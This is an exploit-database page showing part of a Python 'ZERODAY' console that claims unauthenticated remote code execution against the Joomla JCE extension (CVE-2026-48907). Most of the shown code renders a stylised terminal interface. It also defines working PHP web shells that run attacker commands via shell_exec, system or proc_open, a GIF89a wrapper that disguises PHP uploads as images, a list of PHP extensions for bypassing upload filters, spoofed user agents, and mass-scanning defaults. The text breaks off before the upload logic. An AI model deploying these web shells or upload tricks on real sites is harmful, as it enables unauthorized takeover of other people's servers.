Exploit database

GH-4d080c9caae521fa75515d38e6919e8a

bastianhxr/cve-2026-48907

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-48907

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
bastianhxr/cve-2026-48907Revision f0ab077bc7b7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

JcE.py

Suggested starting filePython · 98,363 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
ZERODAY // JCE RCE CONSOLE
CVE-2026-48907 — Joomla JCE extension, unauthenticated remote code execution.

All-in-one operator console:
  · V1  tmp/ profile-import upload
  · V2  JCE browser RPC upload
  · single / mass / auto-interactive / custom-shell modes

Run without arguments to open the interactive console.
"""
from __future__ import annotations

import argparse
import base64
import hashlib
import html
import json
import os
import random
import re
import shutil
import string
import sys
import textwrap
import threading
import time
import unicodedata
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import urljoin

import requests
import urllib3
from colorama import init as colorama_init


def _enable_windows_vt() -> bool:
    """Turn on ANSI/VT processing for the Windows console (10+)."""
    if os.name != "nt":
        return True
    enabled = False
    try:
        import ctypes
        from ctypes import wintypes

        k32 = ctypes.windll.kernel32
        for std_handle in (-11, -12):          # STD_OUTPUT_HANDLE / STD_ERROR_HANDLE
            handle = k32.GetStdHandle(std_handle)
            if handle in (0, -1):
                continue
            mode = wintypes.DWORD()
            if k32.GetConsoleMode(handle, ctypes.byref(mode)):
                flags = mode.value | 0x0001 | 0x0004   # PROCESSED_OUTPUT | VT_PROCESSING
                if k32.SetConsoleMode(handle, flags):
                    enabled = True
    except Exception:
        return False
    return enabled


_VT_OK = _enable_windows_vt()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Keep real 24-bit sequences on VT-capable Windows consoles; only let
# colorama translate them on legacy consoles where VT is unavailable.
if os.name == "nt" and _VT_OK:
    colorama_init(autoreset=False, convert=False, strip=False)
elif os.name == "nt":
    # Never let colorama strip forced colour; detect_color_mode() decides.
    colorama_init(autoreset=False, strip=False)
else:
    colorama_init(autoreset=False)
# Force UTF-8 output on Windows consoles
try:
    os.system("chcp 65001 >nul 2>&1")
except Exception:
    pass
try:
    sys.stdout.reconfigure(encoding="utf-8", errors="replace")
    sys.stderr.reconfigure(encoding="utf-8", errors="replace")
except Exception:
    pass

# ═════════════════════════════════════════════════════════════════════════════
#  ZERODAY ANSI UI ENGINE  ·  truecolor core + graceful colour degradation
# ═════════════════════════════════════════════════════════════════════════════

# SGR attribute tokens — re-bound by set_color_depth() when colour is disabled.
RESET   = "\033[0m"
BOLD    = "\033[1m"

# Signal palette (RGB tuples): acid lime → glacier blue → iris.
NEON = {
    "mint":    (190, 242, 100),  # acid lime      (#bef264)
    "aqua":    (56, 189, 248),   # glacier blue   (#38bdf8)
    "cyan":    (56, 189, 248),   # alias
    "violet":  (129, 140, 248),  # iris           (#818cf8)
    "purple":  (129, 140, 248),  # alias
    "magenta": (244, 114, 182),  # rose           (#f472b6)
    "pink":    (249, 168, 212),  # pale rose
    "green":   (74, 222, 128),   # ok
    "lime":    (190, 242, 100),  # bright ok
    "amber":   (251, 191, 36),   # warn
    "gold":    (250, 204, 21),   # highlight
    "red":     (251, 113, 133),  # fail
    "coral":   (253, 164, 175),  # soft fail
    "orange":  (251, 146, 60),   # upload
    "blue":    (96, 165, 250),   # info
    "teal":    (45, 212, 191),   # secondary
    "silver":  (203, 213, 225),  # light grey
    "grey":    (148, 163, 184),  # muted
    "white":   (226, 232, 240),  # body
    "ghost":   (248, 250, 252),  # near white
    "ice":     (224, 242, 254),  # pale cyan
    "deep":    (15, 23, 42),     # near black
    "black":   (8, 11, 18),      # background
    "slate":   (71, 85, 105),    # frame
}

# Standard xterm 16-colour anchors, used for the best-looking fallback.
_ANSI16_PALETTE = [
    (30, (0, 0, 0)),       (31, (128, 0, 0)),
    (32, (0, 128, 0)),     (33, (128, 128, 0)),
    (34, (0, 0, 128)),     (35, (128, 0, 128)),
    (36, (0, 128, 128)),   (37, (192, 192, 192)),
    (90, (128, 128, 128)), (91, (255, 0, 0)),
    (92, (0, 255, 0)),     (93, (255, 255, 0)),
    (94, (0, 0, 255)),     (95, (255, 0, 255)),
    (96, (0, 255, 255)),   (97, (255, 255, 255)),
]

_COLOR_MODE = "truecolor"          # "truecolor" | "256" | "16" | "none"


def _stream_is_tty(stream=None) -> bool:
    try:
        return bool((stream or sys.stdout).isatty())
    except Exception:
        return False


_UI_TTY = _stream_is_tty()
_UI_MOTION = (_UI_TTY and (os.name != "nt" or _VT_OK)
              and (os.environ.get("JCE_NO_ANIM", "").strip().lower()
                   not in ("1", "true", "yes", "on")))


def detect_color_mode() -> str:
    """Colour depth from the environment: NO_COLOR / FORCE_COLOR / TERM."""
    if os.environ.get("NO_COLOR"):
        return "none"
    if (os.environ.get("CLICOLOR") or "").strip() == "0":
        return "none"

    forced = (os.environ.get("FORCE_COLOR") or "").strip().lower()
    if forced in ("0", "false", "no", "none", "off"):
        return "none"
    if forced in ("16", "basic", "ansi"):
        return "16"
    if forced == "256":
        return "256"
    if forced in ("1", "true", "yes", "on", "truecolor", "24bit"):
        return "truecolor"

    force_cli = (os.environ.get("CLICOLOR_FORCE") or "").strip() not in ("", "0")
    if not _UI_TTY and not force_cli:
        return "none"

    term = (os.environ.get("TERM") or "").strip().lower()
    if term in ("dumb", "unknown"):
        return "none"

    colorterm = (os.environ.get("COLORTERM") or "").strip().lower()
    if colorterm in ("truecolor", "24bit"):
        return "truecolor"

    term_program = (os.environ.get("TERM_PROGRAM") or "").strip().lower()
    if (os.environ.get("WT_SESSION") or os.environ.get("ConEmuANSI") == "ON"
            or term_program in ("iterm.app", "wezterm", "vscode", "apple_terminal")):
        return "truecolor"

    if "256color" in term:
        return "256"

    if os.name == "nt":
        return "truecolor" if _VT_OK else "16"

    if term in ("xterm", "xterm-color", "vt100", "linux", "ansi", "cygwin"):
        return "16"
    return "16"


def set_color_depth(mode: str) -> None:
    """Switch the whole UI between truecolor / 256 / 16 colours / plain text."""
    global _COLOR_MODE, _NO_COLOR, RESET, BOLD
    _COLOR_MODE = mode if mode in ("truecolor", "256", "16", "none") else "truecolor"
    _NO_COLOR = _COLOR_MODE == "none"
    if _NO_COLOR:
        RESET = BOLD = ""
    else:
        RESET, BOLD = "\033[0m", "\033[1m"


def _rgb_to_256(r: int, g: int, b: int) -> int:
    # Near-grey values are much more accurate on the 24-step grey ramp.
    if max(r, g, b) - min(r, g, b) <= 10:
        avg = (r + g + b) // 3
        if avg < 8:
            return 16
        if avg > 248:
            return 231
        return 232 + max(0, min(23, round((avg - 8) / 10)))
    quant = lambda v: max(0, min(5, round(v / 255 * 5)))
    return 16 + 36 * quant(r) + 6 * quant(g) + quant(b)


def _ansi16_from_rgb(r: int, g: int, b: int) -> int:
    best, dist = 97, 1 << 30
    for code, (pr, pg, pb) in _ANSI16_PALETTE:
        d = (r - pr) ** 2 + (g - pg) ** 2 + (b - pb) ** 2
        if d < dist:
            best, dist = code, d
    return best


def rgb(r: int, g: int, b: int) -> str:
    """Foreground escape for the active colour depth."""
    if _COLOR_MODE == "none":
        return ""
    if _COLOR_MODE == "16":
        return f"\033[{_ansi16_from_rgb(r, g, b)}m"
    if _COLOR_MODE == "256":
        return f"\033[38;5;{_rgb_to_256(r, g, b)}m"
    return f"\033[38;2;{r};{g};{b}m"


def _fg(text, name: str = "cyan") -> str:
    if _COLOR_MODE == "none":
        return str(text)
    r, g, b = NEON.get(name, NEON["cyan"])
    return f"{rgb(r, g, b)}{text}{RESET}"

# ── Width / ANSI helpers ─────────────────────────────────────────────────────
_ANSI_RE = re.compile(
    r"\x1b(?:"
    r"\[[0-?]*[ -/]*[@-~]"                 # CSI ... final byte
    r"|\][^\x07\x1b]*(?:\x07|\x1b\\)"       # OSC ... BEL / ST
    r"|[P^_][^\x1b]*\x1b\\"                  # DCS / PM / APC ... ST
    r"|[@-Z\\-_]"                            # two-character escapes
    r")"
)


def strip_ansi(text: str) -> str:
    return _ANSI_RE.sub("", str(text))


def char_width(ch: str) -> int:
    if (unicodedata.combining(ch) or ch in "\u200b\u200c\u200d"
            or 0xFE00 <= ord(ch) <= 0xFE0F):
        return 0
    return 2 if unicodedata.east_asian_width(ch) in ("W", "F") else 1


def visible_len(text: str) -> int:
    return sum(char_width(c) for c in strip_ansi(text))


def pad_to(text: str, width: int, align: str = "left", fill: str = " ") -> str:
    gap = width - visible_len(text)
    if gap <= 0:
        return text
    if align == "right":
        return fill * gap + text
    if align == "center":
        left = gap // 2
        return fill * left + text + fill * (gap - left)
    return text + fill * gap


def truncate_ansi(text: str, width: int, ellipsis: str = "…") -> str:
    """Clip a styled string to a visible width without breaking escape codes."""
    text = str(text)
    if width <= 0:
        return ""
    if visible_len(text) <= width:
        return text
    ell_w = visible_len(ellipsis)
    if width <= ell_w:
        return ellipsis[:width]
    limit = width - ell_w
    out: List[str] = []
    used = 0
    i = 0
    clipped = False
    while i < len(text):
        match = _ANSI_RE.match(text, i)
        if match:
            out.append(match.group(0))
            i = match.end()
            continue
        ch = text[i]
        w = char_width(ch)
        if used + w > limit:
            clipped = True
            break
        out.append(ch)
        used += w
        i += 1
    if clipped:
        out.append(ellipsis)
        if "\x1b]8;;" in text:
            out.append("\033]8;;\033\\")
    if "\x1b" in text:
        out.append(RESET)
    return "".join(out)


def wrap_plain(text: str, width: int) -> List[str]:
    """Wrap terminal output while keeping indentation readable."""
    width = max(8, width)
    lines: List[str] = []
    for raw in str(text).replace("\t", "    ").splitlines() or [""]:
        lines.extend(textwrap.wrap(raw, width=width, replace_whitespace=False,
                                   drop_whitespace=True) or [""])
    return lines


def term_width(default: int = 100) -> int:
    try:
        return max(20, shutil.get_terminal_size((default, 24)).columns)
    except Exception:
        return default


def hyperlink(text: str, url: str) -> str:
    """Clickable OSC 8 link (zero width, ignored by visible_len)."""
    if not _UI_TTY or not _VT_OK or _COLOR_MODE == "none":
        return str(text)
    safe = str(url).replace("\x1b", "")
    return f"\033]8;;{safe}\033\\{text}\033]8;;\033\\"


def set_terminal_title(title: str) -> None:
    if not _UI_TTY or not _VT_OK:
        return
    try:
        sys.stdout.write(f"\033]0;{title}\007")
        sys.stdout.flush()
    except Exception:
        pass


def stat_bar(value: int, total: int, width: int = 22,
             color_name: str = "magenta") -> str:
    total = max(int(total), 1)
    ratio = max(0.0, min(1.0, value / total))
    filled = int(round(width * ratio))
    base = NEON.get(color_name, NEON["magenta"])
    dark = tuple(int(c * 0.28) for c in base)
    bar = gradient(BOX_BLOCK * filled, dark, base) if filled else ""
    return bar + GY(BOX_SHADE * max(width - filled, 0))

# ── Gradients ────────────────────────────────────────────────────────────────
def _lerp(c1, c2, t: float) -> Tuple[int, int, int]:
    return (int(c1[0] + (c2[0] - c1[0]) * t),
            int(c1[1] + (c2[1] - c1[1]) * t),
            int(c1[2] + (c2[2] - c1[2]) * t))

def _lerp_stops(t: float, stops) -> Tuple[int, int, int]:
    if len(stops) == 1:
        return tuple(stops[0])
    t = max(0.0, min(1.0, t))
    span = t * (len(stops) - 1)
    i = min(int(span), len(stops) - 2)
    return _lerp(stops[i], stops[i + 1], span - i)

def _gradient_pts(text: str, pts) -> str:
    """Multi-stop horizontal gradient using an explicit colour list."""
    if _COLOR_MODE == "none" or not text:
        return text
    text = strip_ansi(text)
    # Group neighbouring cells with the same colour into one SGR run; this
    # keeps the byte stream small while preserving a smooth per-glyph fade.
    out: List[str] = []
    last: Optional[Tuple[int, int, int]] = None
    n = len(text)
    for i, ch in enumerate(text):
        t = i / (n - 1) if n > 1 else 0.0
        col = _lerp_stops(t, pts)
        if col != last:
            out.append(rgb(*col))
            last = col
        out.append(ch)
    return "".join(out) + RESET


def gradient(text: str, c1: Tuple[int, int, int], c2: Tuple[int, int, int],
             stops=None) -> str:
    """Horizontal gradient from c1 to c2, optionally through extra stops."""
    pts = [tuple(c1)] + [tuple(c) for c in (stops or [])] + [tuple(c2)]
    return _gradient_pts(text, pts)

# Convenience colour functions
def MT(s):  return _fg(s, "mint")
def AQ(s):  return _fg(s, "aqua")
def VI(s):  return _fg(s, "violet")
def CY(s):  return _fg(s, "cyan")
def MG(s):  return _fg(s, "magenta")
def YL(s):  return _fg(s, "amber")
def GN(s):  return _fg(s, "green")
def RD(s):  return _fg(s, "red")
def OG(s):  return _fg(s, "orange")
def BL(s):  return _fg(s, "blue")
def PU(s):  return _fg(s, "purple")
def TE(s):  return _fg(s, "teal")
def GD(s):  return _fg(s, "gold")
def GY(s):  return _fg(s, "grey")
def WH(s):  return _fg(s, "white")

# Box / HUD glyphs
BOX_TL = "╭"; BOX_TR = "╮"; BOX_BL = "╰"; BOX_BR = "╯"
BOX_H = "─"; BOX_V = "│"
BOX_BLOCK = "▰"; BOX_SHADE = "▱"; BOX_DOT = "·"
BOX_ARROW = "»"; BOX_RAIL = "▍"; BOX_BULLET = "▸"
BOX_PULSE = "◉"; BOX_CHEVRON = "›"


def glitch(text: str, iterations: int = 4, delay: float = 0.05) -> str:
    """Print glitched text, then settle on the real string."""
    if not _UI_MOTION:
        sys.stdout.write("  " + text + "\n")
        sys.stdout.flush()
        return text
    glitch_chars = "!@#$%^&*<>?/|\\~`"
    for step in range(iterations):
        out = ""
        for ch in text:
            if ch == " ":
                out += " "
            elif random.random() < 0.35:
                out += random.choice(glitch_chars)
            else:
                out += ch
        shade = (190, 242, 100) if step % 2 == 0 else (56, 189, 248)
        sys.stdout.write("\r  " + f"{rgb(*shade)}{out}{RESET}")
        sys.stdout.flush()
        time.sleep(delay)
    sys.stdout.write("\r  " + BOLD + WH(text) + "\n")
    sys.stdout.flush()
    return text


def scanline(width: int = 62) -> str:
    chars = "─╌┄┈"
    return GY("".join(random.choice(chars) for _ in range(width)))

def neon_frame(title: str, lines: List[str], width: int = 64,
               c1=(190, 242, 100), c2=(129, 140, 248), stops=None) -> str:
    """Rounded HUD card with a gradient edge and a left-aligned title.

    ``width`` is the outer visible width; it is clamped to the terminal so
    frames never wrap on narrow windows. Body content is clipped cell-safe.
    """
    pts = [tuple(c1)] + [tuple(c) for c in (stops or [])] + [tuple(c2)]
    if len(pts) < 2:
        pts = [tuple(c1), tuple(c2)]
    width = max(28, min(int(width), term_width(100)))
    inner = width - 2
    body = ["" if ln is None else str(ln) for ln in lines]
    title = strip_ansi(str(title)) if title else ""
    title = truncate_ansi(title, max(inner - 10, 1))
    height = len(body) + 2

    def rail(row: int) -> str:
        return rgb(*_lerp_stops(row / max(height - 1, 1), pts))

    # ╭─ ◆ TITLE ─────────────────────────────────────────────────╮
    if title:
        head = (f"{BOX_H} {MT('◆')} {BOLD}{WH(title)}{RESET} ")
    else:
        head = BOX_H
    fill = max(inner - visible_len(head), 0)
    top = (rail(0) + BOX_TL + head + _gradient_pts(BOX_H * fill, pts)
           + rail(0) + BOX_TR + RESET)

    out = [top]
    for row, ln in enumerate(body, 1):
        ln = truncate_ansi(ln, max(inner - 4, 1)) if ln.strip() else ""
        content = pad_to("  " + ln, inner - 2)
        out.append(rail(row) + BOX_V + RESET + " " + content + " "
                   + rail(row) + BOX_V + RESET)
    out.append(_gradient_pts(BOX_BL + BOX_H * inner + BOX_BR, pts))
    return "\n".join(out)


# Spinner chars
SPINNER = ["◐", "◓", "◑", "◒"]

# ═════════════════════════════════════════════════════════════════════════════
#  GLOBAL STATE
# ═════════════════════════════════════════════════════════════════════════════

_lock = threading.Lock()
_stats = {"hits": 0, "rce": 0, "fails": 0, "done": 0, "total": 0}
_pwned: List[Dict[str, Any]] = []
_VERBOSE = False
_SILENT = False
_NO_COLOR = False

# Config defaults
DEFAULT_TIMEOUT = 15
DEFAULT_THREADS = 50
DEFAULT_OUTPUT = "shells.txt"
DEFAULT_RCE_OUTPUT = "rce.txt"
MARKER = "CVE-2026-48907"

# ═════════════════════════════════════════════════════════════════════════════
#  UI HELPERS
# ═════════════════════════════════════════════════════════════════════════════

def set_color_mode(no_color: bool):
    """Enable/disable colour output for the whole UI (wired to --no-color)."""
    global _NO_COLOR
    _NO_COLOR = bool(no_color)
    set_color_depth("none" if no_color else detect_color_mode())


def clear_screen():
    if not _UI_TTY:
        return
    if os.name == "nt" and not _VT_OK:
        os.system("cls")
    else:
        sys.stdout.write("\033[2J\033[H")
        sys.stdout.flush()


def dlog(kind: str, msg: str):
    P = {
        "info":  (CY, "·", "INFO"),
        "ok":    (GN, "✓", "OK"),
        "rce":   (MG, "★", "RCE"),
        "warn":  (YL, "!", "WARN"),
        "fail":  (RD, "✗", "FAIL"),
        "step":  (BL, "▸", "STEP"),
        "scan":  (CY, "◈", "SCAN"),
        "up":    (OG, "▲", "UPLOAD"),
        "dbg":   (GY, "·", "DBG"),
        "pwn":   (RD, "☠", "PWN"),
    }
    if kind not in P:
        kind = "info"
    color_fn, sym, lbl = P[kind]
    if kind == "dbg" and not _VERBOSE:
        return
    if _SILENT and kind != "fail":
        return
    line = (f"  {color_fn(BOX_RAIL)} {color_fn(BOLD + sym + RESET)} "
            f"{color_fn(pad_to(lbl, 6))} {GY('│')} {msg}")
    if _UI_TTY:
        line = truncate_ansi(line, term_width(100) - 1)
    with _lock:
        print(line, flush=True)


def _prompt(prompt: str, default=None, hint=None) -> str:
    extras = []
    if default is not None:
        extras.append(f"{GY('[')}{GD(str(default))}{GY(']')}")
    if hint:
        extras.append(f"{GY('[')}{GY(str(hint))}{GY(']')}")
    suf = (" " + " ".join(extras)) if extras else ""
    try:
        v = input(f"  {MT(BOLD + BOX_ARROW + RESET)} {WH(prompt)}{suf} "
                  f"{GY(BOX_CHEVRON)} ").strip()
    except (EOFError, KeyboardInterrupt):
        print()
        raise SystemExit(0)
    return v if v else (default if default is not None else "")

# ═════════════════════════════════════════════════════════════════════════════
#  BANNER
# ═════════════════════════════════════════════════════════════════════════════

BRAND = "ZERODAY"
VERSION = "3.0"
BRAND_MIN_WIDTH = 64
MASTHEAD_MIN_WIDTH = 90

LOGO_PTS = [(190, 242, 100), (56, 189, 248), (129, 140, 248)]
FRAME_PTS = [(190, 242, 100), (56, 189, 248), (129, 140, 248)]
SUCCESS_PTS = [(244, 114, 182), (190, 242, 100), (56, 189, 248)]


def _art_rows(rows: Tuple[str, ...]) -> List[str]:
    """Pad ASCII-art rows to a common visible width."""
    width = max(len(row) for row in rows)
    return [row.ljust(width) for row in rows]


# Clean six-row wordmark plus a targeting reticle used on wide terminals.
LOGO_ART = _art_rows((
    "███████╗███████╗██████╗  ██████╗ ██████╗  █████╗ ██╗   ██╗",
    "╚══███╔╝██╔════╝██╔══██╗██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝",
    "  ███╔╝ █████╗  ██████╔╝██║   ██║██║  ██║███████║ ╚████╔╝ ",
    " ███╔╝  ██╔══╝  ██╔══██╗██║   ██║██║  ██║██╔══██║  ╚██╔╝  ",
    "███████╗███████╗██║  ██║╚██████╔╝██████╔╝██║  ██║   ██║   ",
    "╚══════╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ",
))
LOGO_MARK = _art_rows((
    "╭───────────────╮",
    "│  ╭─────────╮  │",
    "│  │    ◉    │  │",
    "│  ╰─────────╯  │",
    "╰───────────────╯",
))


def _clock() -> str:
    """Local time with a compact UTC offset, e.g. ``14:03:22 UTC+0``."""
    now = time.localtime()
    west = time.altzone if now.tm_isdst > 0 else time.timezone
    offset = -west
    sign = "-" if offset < 0 else "+"
    hours, minutes = divmod(abs(offset) // 60, 60)
    zone = f"UTC{sign}{hours}"
    if minutes:
        zone += f":{minutes:02d}"
    return f"{time.strftime('%H:%M:%S', now)} {zone}"


def _center_ansi(text: str, width: int) -> str:
    """Centre styled text inside ``width`` visible cells."""
    text = truncate_ansi(text, max(width, 1))
    gap = max(width - visible_len(text), 0)
    left = gap // 2
    return " " * left + text + " " * (gap - left)


def _logo_lines() -> List[str]:
    return [_gradient_pts(line, LOGO_PTS) for line in LOGO_ART]


def _masthead_lines() -> List[str]:
    """Pair the reticle with the wordmark on wide terminals."""
    mark = [AQ(line) for line in LOGO_MARK]
    blank = " " * len(LOGO_MARK[0])
    rows: List[str] = []
    for index, line in enumerate(_logo_lines()):
        left = mark[index] if index < len(mark) else blank
        rows.append(left + "    " + line)
    return rows


def hud_banner(tool: Optional[str] = None, width: Optional[int] = None) -> str:
    """Render the ZERODAY HUD banner inside the shared card."""
    width = max(40, min(int(width or term_width(100)), term_width(100)))
    if width < BRAND_MIN_WIDTH:
        tag = f"{MT('◆')} {_gradient_pts(BRAND, LOGO_PTS)}"
        extra = f"{GY('// JCE RCE')} {GY(BOX_DOT)} {MG('v' + VERSION)}"
        line = f"  {BOLD}{tag}{RESET}  {extra}"
        return truncate_ansi(line, width) + "\n"

    text_w = width - 6
    art = _masthead_lines() if width >= MASTHEAD_MIN_WIDTH else _logo_lines()
    body: List[str] = [_center_ansi(line, text_w) for line in art]
    body.append("")
    body.append(_center_ansi(
        BOLD + WH("OFFENSIVE SECURITY RESEARCH") + RESET
        + GY("  ·  ") + MG("BUILD " + VERSION), text_w))
    body.append(_center_ansi(
        MG(BOLD + "CVE-2026-48907") + GY("  ·  ") + WH("Joomla JCE")
        + GY("  →  ") + RD(BOLD + "Unauthenticated RCE"), text_w))
    body.append("")
    body.append(_center_ansi(
        GY("V1 ") + WH("tmp-import") + GY("   +   ")
        + GY("V2 ") + WH("browser-rpc") + GY("  ·  ")
        + TE(str(tool or "ALL-IN-ONE")), text_w))
    return neon_frame(f"{BRAND} // OPERATIONS", body, width=width,
                      c1=FRAME_PTS[0], c2=FRAME_PTS[-1],
                      stops=FRAME_PTS[1:-1])


def status_strip(phase: str = "READY", detail: str = "all vectors armed",
                 width: Optional[int] = None) -> str:
    """Two-row telemetry ribbon: state, readiness meter, link and clock."""
    width = max(40, min(int(width or term_width(100)), term_width(100)))
    phase_fn = {
        "READY": MT, "LIVE": MT, "RCE": MG, "ERROR": RD,
        "IDLE": GY, "BUSY": YL, "CONSOLE": AQ,
    }.get(phase.upper(), AQ)
    left = (f"  {phase_fn(BOX_RAIL)} "
            f"{phase_fn(BOLD + BOX_PULSE + ' ' + phase.upper())}   "
            f"{WH(detail)}")
    meter = phase_fn(BOX_BLOCK * 6) + "   " if width >= 84 else ""
    right = f"{meter}{GY('V1+V2')}   {GY(_clock())}"
    gap = max(width - visible_len(left) - visible_len(right) - 2, 2)
    line = truncate_ansi(left + " " * gap + right, width)
    rule = "  " + phase_fn("╰") + _gradient_pts(
        BOX_H * max(width - 3, 1), FRAME_PTS)
    return line + "\n" + rule


def boot_sequence():
    if not _UI_MOTION or _COLOR_MODE == "none":
        return
    clear_screen()
    init_lines = [
        ("CORE", "Spinning up operator runtime", "mint"),
        ("LINK", "Negotiating encrypted uplink", "aqua"),
        ("VEC",  "Arming V1/tmp + V2/browser", "violet"),
        ("PAY",  "Assembling combo payload", "amber"),
        ("HUD",  "Painting console interface", "aqua"),
        ("OK",   "Console ready. Welcome, operator.", "mint"),
    ]
    color_map = {"mint": MT, "aqua": AQ, "violet": VI, "amber": YL}
    total = len(init_lines)
    meter_w = max(12, min(28, term_width(100) - 52))
    rule_pts = FRAME_PTS
    print()
    print("  " + BOLD + _gradient_pts("◆ ZERODAY // COLD START", rule_pts) + RESET)
    print("  " + GY(scanline(min(term_width(100) - 6, 62))))
    print()
    for idx, (tag, msg, col) in enumerate(init_lines, 1):
        fn = color_map.get(col, AQ)
        filled = max(1, round(meter_w * idx / total))
        meter = (gradient(BOX_BLOCK * filled, FRAME_PTS[0], FRAME_PTS[-1],
                          stops=FRAME_PTS[1:-1])
                 + GY(BOX_SHADE * (meter_w - filled)))
        spin = SPINNER[(idx - 1) % len(SPINNER)]
        line = (f"  {fn(spin)} {fn(BOLD + pad_to('[' + tag + ']', 6) + RESET)} "
                f"{GY(pad_to(msg, 40))} {meter} {CY(f'{idx}/{total}')}")
        sys.stdout.write(truncate_ansi(line, term_width(100) - 1) + "\n")
        sys.stdout.flush()
        time.sleep(0.12)
    time.sleep(0.2)
    glitch(">> operator access granted  //  zeroday@localhost")
    time.sleep(0.2)
    clear_screen()


def show_banner():
    clear_screen()
    set_terminal_title("CVE-2026-48907 :: JCE RCE // ZERODAY")
    term_w = term_width(100)
    print()
    print(hud_banner("t.me/BastianHxr13", term_w))
    print()
    print(status_strip("READY", "all vectors armed", term_w))
    print()
    rows = [
        ("MISSION", MG(BOLD + "CVE-2026-48907") + GY("  ·  ") +
                    WH("Joomla JCE") + GY("  →  ") + RD("unauth RCE")),
        ("VECTORS", TE("V1 tmp/profile-import") + GY("  +  ") +
                    TE("V2 JCE browser RPC")),
        ("MODES",   WH("single") + GY(" · ") + WH("mass") + GY(" · ") +
                    WH("auto-interactive") + GY(" · ") + WH("custom-shell")),
        ("RUNTIME", CY("python " + os.path.basename(sys.argv[0])) + GY("  ·  ") +
                    GN("no arguments required")),
        ("BUILD",   WH(VERSION) + GY("  ·  ") + GN(BOLD + "stable") +
                    GY("  ·  ") + GY("ZERODAY labs")),
    ]
    panel_lines = [f"{GY(pad_to(k, 8))} {GY('│')} {v}" for k, v in rows]
    print(neon_frame("MISSION BRIEF", panel_lines, width=term_w,
                     c1=FRAME_PTS[0], c2=FRAME_PTS[-1],
                     stops=FRAME_PTS[1:-1]))
    print()


def rce_banner(shell_url: str, vector: str = "", dt: float = 0.0) -> None:
    """Success panel printed once a shell URL is confirmed."""
    width = min(max(term_width(100) - 8, 48), 72)
    pts = SUCCESS_PTS
    body = [BOLD + _gradient_pts("◈  R C E   C O N F I R M E D  ◈", pts) + RESET, ""]
    if shell_url:
        body.append(f"{GY('shell ')}  {CY(hyperlink(shell_url, shell_url))}")
    if vector:
        body.append(f"{GY('vector')}  {TE(vector)}")
    if dt > 0:
        body.append(f"{GY('time  ')}  {WH(f'{dt:.2f}s')}")
    print()
    print(neon_frame("ACCESS GRANTED", body, width=width,
                     c1=SUCCESS_PTS[0], c2=SUCCESS_PTS[-1],
                     stops=SUCCESS_PTS[1:-1]))
    print()

# ═════════════════════════════════════════════════════════════════════════════
#  PAYLOADS
# ═════════════════════════════════════════════════════════════════════════════

def rand_str(n: int = 8) -> str:
    return hashlib.sha256(os.urandom(16)).hexdigest()[:n]

def rand_str2(n: int = 10) -> str:
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

INTERACTIVE_SHELL_CODE = '''<?php
header('Content-Type: text/plain');
$c=$_REQUEST['c']??$_REQUEST['cmd']??'';
if(!$c){die('CVE-2026-48907 ready');}
if(function_exists('proc_open')){
    $p=proc_open($c,[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$x);
    fclose($x[0]);
    echo trim(stream_get_contents($x[1]).stream_get_contents($x[2]));
    proc_close($p);
}elseif(function_exists('shell_exec')){
    echo trim(shell_exec($c));
}elseif(function_exists('system')){
    ob_start(); system($c); echo trim(ob_get_clean());
}else{
    echo 'no exec function available';
}
?>'''

def make_combo_payload(a: int, b: int) -> str:
    """Combo payload: verify (math) + shell exec. One upload = verify + shell."""
    return (
        "<?php "
        f"if(!isset($_GET['c']))"
        "{"
        "  echo 'RXST:'.base64_encode('MATHOK:{ab}').':RXEND';"
        "}"
        "else{"
        "  $c=$_GET['c'].' 2>&1';"
        "  $o='';"
        "  if(function_exists('shell_exec')){$o=@shell_exec($c);}"
        "  elseif(function_exists('exec')){@exec($c,$arr);$o=implode(\"\\n\",$arr);}"
        "  elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}"
        "  elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}"
        "  elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}"
        "  elseif(function_exists('proc_open')){$d=[['pipe','r'],['pipe','w'],['pipe','w']];$p=@proc_open($c,$d,$pi);if($p){$o=stream_get_contents($pi[1]);proc_close($p);}}"
        "  else{$o='DISABLED:'.implode(',',array_filter(['shell_exec','exec','system','passthru','popen','proc_open'],function($f){return function_exists($f);}));}"
        "  echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';"
        "}"
        " ?>"
    ).replace("{ab}", str(a * b))

def gifwrap(php: str) -> bytes:
    return b'GIF89a\n' + php.encode('utf-8')

# ═════════════════════════════════════════════════════════════════════════════
#  TOKEN / DETECTION CONSTANTS
# ═════════════════════════════════════════════════════════════════════════════

_TOKEN_PAGES = [
    "/index.php?option=com_jce&view=popup",
    "/index.php?option=com_jce",
    "/administrator/index.php",
    "/administrator/index.php?option=com_jce",
    "/index.php?option=com_jce&view=editor",
    "/index.php",
    "/",
]

_JCE_DETECT = [
    "/index.php?option=com_jce&view=popup",
    "/components/com_jce/",
    "/administrator/components/com_jce/",
]

JCE_PATHS = [
    "/plugins/editors/jce/jce.xml",
    "/administrator/components/com_jce/jce.xml",
    "/plugins/system/jcemediabox/js/jcemediabox.js",
    "/plugins/system/jce/css/content.css",
]

_PHP_EXTS = ["php", "phtml", "php7", "phar", "php5", "xml.php"]

_TOKEN_RE = re.compile(r"[a-f0-9]{32}", re.I)

_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 Safari/605.1.15",
]

# ═════════════════════════════════════════════════════════════════════════════
